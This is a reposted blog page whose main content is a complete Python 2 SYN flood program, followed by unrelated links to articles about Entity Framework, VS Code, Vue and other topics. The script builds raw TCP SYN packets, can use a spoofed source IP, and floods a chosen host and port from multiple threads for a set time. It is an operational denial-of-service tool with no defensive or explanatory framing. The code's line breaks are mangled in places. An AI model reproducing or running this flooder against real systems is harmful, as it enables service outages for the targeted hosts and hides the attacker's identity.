【转载】Synflood code
'''
Syn flood program in python by Tequila/e credits to Silver Moon for base's of syn packets. r
s
s
y
n
''' # some imports
import socket, sys, os
import threading
import time
import thread
from struct import * if len(sys.argv) < 5:
print("Usage: python rssyn.py <source ip> <destination ip> <destination port> <amount of threads> <time>");
sys.exit(); # checksum functions needed for calculation checksum
def checksum(msg):
s = 0
# loop taking 2 characters at a time
for i in range(0, len(msg), 2):
w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
s = s + w s = (s>>16) + (s & 0xffff);
#s = s + (s >> 16);
#complement and mask to 4 byte short
s = ~s & 0xffff return s #create a raw socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except socket.error , msg:
print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message: ' + msg[1]
sys.exit() # tell kernel not to put in headers, since we are providing it
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # now start constructing the packet
packet = ''; source_ip = sys.argv[1]
dest_ip = sys.argv[2] # or socket.gethostbyname('www.google.com')
threads = sys.argv[4]
run_time_in_seconds = sys.argv[5]
os.system('clear')
print "##"
print "# r #"
print "# s #"
print "# s #"
print "# y #"
print "# n #"
print "# Flood #"
print "# Made by e #"
print "##"
# ip header fields
ihl = 5
version = 4
tos = 0
tot_len = 20 + 20 # python seems to correctly fill the total length, dont know how ??
id = 54321 #Id of this packet
frag_off = 0
ttl = 255
protocol = socket.IPPROTO_TCP
check = 10 # python seems to correctly fill the checksum
saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to
daddr = socket.inet_aton ( dest_ip ) ihl_version = (version << 4) + ihl # the ! in the pack format string means network order
ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) # tcp header fields
source = 1234 # source port
dest = int(sys.argv[3]) # destination port
seq = 0
ack_seq = 0
doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes
#tcp flags
fin = 0
syn = 1
rst = 0
psh = 0
ack = 0
urg = 0
window = socket.htons (5840) # maximum allowed window size
check = 0
urg_ptr = 0 offset_res = (doff << 4) + 0
tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5) # the ! in the pack format string means network order
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) # pseudo header fields
source_address = socket.inet_aton( source_ip )
dest_address = socket.inet_aton(dest_ip)
placeholder = 0
protocol = socket.IPPROTO_TCP
tcp_length = len(tcp_header) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
psh = psh + tcp_header; tcp_checksum = checksum(psh) # make the tcp header again and fill the correct checksum
tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum , urg_ptr) # final full packet - syn packets dont have any data
packet = ip_header + tcp_header
#Send the packet finally - the port specified has no effect print "Starting rssyn flood on " + str(dest_ip) + ":" + str(dest) + " from " + str(source_ip)
print "With " + str(threads) + " threads for " + str(run_time_in_seconds) + " seconds." start_time = time.time()
global spawned_threads
spawned_threads = []
spawned = 0
total_packets = 0
def sendPackets():
while (time.time() - start_time) < int(run_time_in_seconds):
s.sendto(packet, (dest_ip , 0 ))
global total_packets
total_packets += 1
print str(total_packets) + " Packets sent to " + dest_ip + "\r\n"
while (spawned < int(threads)):
c = threading.Thread(target=sendPackets)
spawned_threads.append(c)
spawned += 1
for Threader in spawned_threads:
Threader.start()
print str(Threader) + " Started"
for Threads in spawned_threads:
Threads.join()
print "All threads have finished flooding for " + run_time_in_seconds + " seconds.."
print "Flood stopping.."
print "Shutting Down"
【转载】Synflood code的更多相关文章
- 转载:CODE CSDN Git 配制方法介绍
以前一直使用Github,最近看到CSDN出了CODE代码托管功能,由于国内的阿里云服务器很稳定,而且不会被国 墙,所以果断的迁移了,下面就简单的介绍一下CODE的配置使用.其实CSDN的code 何 ...
- [转载]EF Code First 学习笔记:约定配置
要更改EF中的默认配置有两个方法,一个是用Data Annotations(在命名空间System.ComponentModel.DataAnnotations;),直接作用于类的属性上面;还有一个就 ...
- 转载Code First Migrations更新数据库架构的具体步骤
[转载] Code First Migrations更新数据库结构的具体步骤 我对 CodeFirst 的理解,与之对应的有 ModelFirst与 DatabaseFirst ,三者各有千秋,依项 ...
- 使用VS Code开发C++
1. 参考/转载 vs code进行c/c++开发 VSCode 的第一个C++程序(windows)[更新2018.10.28] 2. C++开发相关插件(扩展商店中直接搜索) 至少要装C/C++. ...
- EF的四种开发模式
EF提供了四种开发模式,具体如下:(转载)Code First(New DataBase) :在代码中定义类和映射关系并通过model生成数据库,使用迁移技术更新数据库.Code First(Exis ...
- Word Break leetcode java
题目: Given a string s and a dictionary of words dict, determine if s can be segmented into a space-se ...
- 【极力分享】[C#/.NET]Entity Framework(EF) Code First 多对多关系的实体增,删,改,查操作全程详细示例【转载自https://segmentfault.com/a/1190000004152660】
[C#/.NET]Entity Framework(EF) Code First 多对多关系的实体增,删,改,查操作全程详细示例 本文我们来学习一下在Entity Framework中使用Cont ...
- 转载:学习Entity Framework 中的Code First
看完觉得不错,适合作为学习资料,就转载过来了 原文链接:http://www.cnblogs.com/Wayou/archive/2012/09/20/EF_CodeFirst.html 这是上周就写 ...
- IoC容器Autofac - Autofac + Asp.net MVC + EF Code First(转载)
转载地址:http://www.cnblogs.com/JustRun1983/archive/2013/03/28/2981645.html 有修改 Autofac通过Controller默认构造 ...
随机推荐
- Vue2.0 新手完全填坑攻略——从环境搭建到发布(转载)
强力推荐,详情请点击此链接http://www.jianshu.com/p/5ba253651c3b
- 如何使用 window.open() 处理ajax请求返回的url: 在本页面打开并防止浏览器拦截
ajax请求中用window.open()打开请求返回url(例如实现下载功能时),可能会因为跨域问题导致浏览器拦截 解决办法是:在请求前,打开一个窗口,请求成功后将返回的url直接赋值给该窗口的hr ...
- 【SQLAlchemy】SQLAlchemy技术文档(中文版)(中)
10.建立联系(外键) 是时候考虑怎样映射和查询一个和Users表关联的第二张表了.假设我们系统的用户可以存储任意数量的email地址.我们需要定义一个新表Address与User相关联. from ...
- Java Integer比较
今天看微信做了一个选择题,对Integer比较结果有点意外,题目如下: public static void main(String[] args) { Integer a = 1; Integer ...
- display:inline-block带来的问题及解决办法
在日常工作中,会经常遇到两个或多个元素并排排列的效果,以前会使用float等实现,float虽然方便好用,但是需要清除浮动,有时会带来意想不到的bug 而且在移动端是不推荐使用float的,所以使用d ...
- git查看和操作commit命令
git reflog 显示所有branch的commit,包括commit和reset,以及已删除的commit.而git log只显示当前branch的commit,不包括已删除的commit gi ...
- 【BZOJ 2753 滑雪与时间胶囊】
Time Limit: 50 Sec Memory Limit: 128 MBSubmit: 2843 Solved: 993[Submit][Status][Discuss] Descripti ...
- bootstrap、angularJS、nodeJs、reactJs视频教程
bootstrap.angularJS.nodeJs.reactJs视频教程 发布时间:『 2017-06-25 19:50』 博客类别:资源下载 阅读(74) 评论(0) 智能社与达内哪个好?说 ...
- Codeforces Round #487 (Div. 2) A Mist of Florescence (暴力构造)
C. A Mist of Florescence time limit per test 1 second memory limit per test 256 megabytes input stan ...
- HDU 1395
2^x mod n = 1 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Tot ...